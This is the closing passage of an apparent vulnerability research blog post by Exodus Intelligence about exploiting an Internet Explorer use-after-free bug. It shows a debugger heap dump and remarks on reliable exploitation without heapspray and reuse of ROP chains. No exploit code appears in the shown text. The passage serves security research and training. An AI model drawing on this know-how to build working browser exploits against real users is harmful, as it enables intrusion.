00235890  0019eff0 0019f008 0019f020 0019f038  ........ ...8...
002358a0  0019f050 0019f068 0019f080 0019f098  P...h...........
002358b0  0019f0b0 0019f0c8 0019f0e0 0019f0f8  ................
002358c0  0019f110 0019f128 0019f140 0019f158  ....(...@...X...
002358d0  0019f170 0019f188 eaa4d113 ff0c0100  p...............
002358e0  3cf74690 0021fac0 00234b90 3cf77870  .F.&lt;..!..K#.p
1:028&gt; dc poi(edi+10)
0019eff0  00790063 006e0061 50540000 302e312f  c.y.a.n...TP/1.0
0019f000  e88f2258 ff0e0120 00790063 006e0061  X".. ...c.y.a.n.
0019f010  6d690000 48656c70 e88f225b ff0e0130  ..impleH["..0...
0019f020  00790063 006e0061 0a0d0000 65746144  c.y.a.n.....Date
0019f030  e88f225e ff0e0164 00790063 006e0061  ^"..d...c.y.a.n.
0019f040  30200000 37353a31 e88f2251 ff0e0147  .. 01:57Q"..G...
0019f050  00790063 006e0061 70790000 74203a65  c.y.a.n...ype: t
0019f060  e88f2254 ff0e0168 00790063 006e0061  T"..h...c.y.a.n.
</pre>


From here you can probably use the default ROP chains for Windows XP but I didnt bother trying that.

Conclusion

This is just another Internet Explorer use-after-free bug which was actually relatively easy to analyse and exploit. I used some new and/or non public techniques to get a reliable exploit that doesn’t require heapspray, but all in all this bug can be exploited quite reliably.
If you are interested in analyzing vulnerabilities and writing exploits for them you can take a look at our training, which will focus on IE9.
It is not easy to defend against these type of attacks, but by getting as many details on as many exploitable vulnerabilities as possible we believe we can provide our clients with additional tools and information to strengthen their defenses. If you want more information on this you can contact us at info@exodusintel.com.

– Peter Vreugdenhil
Exodus Intelligence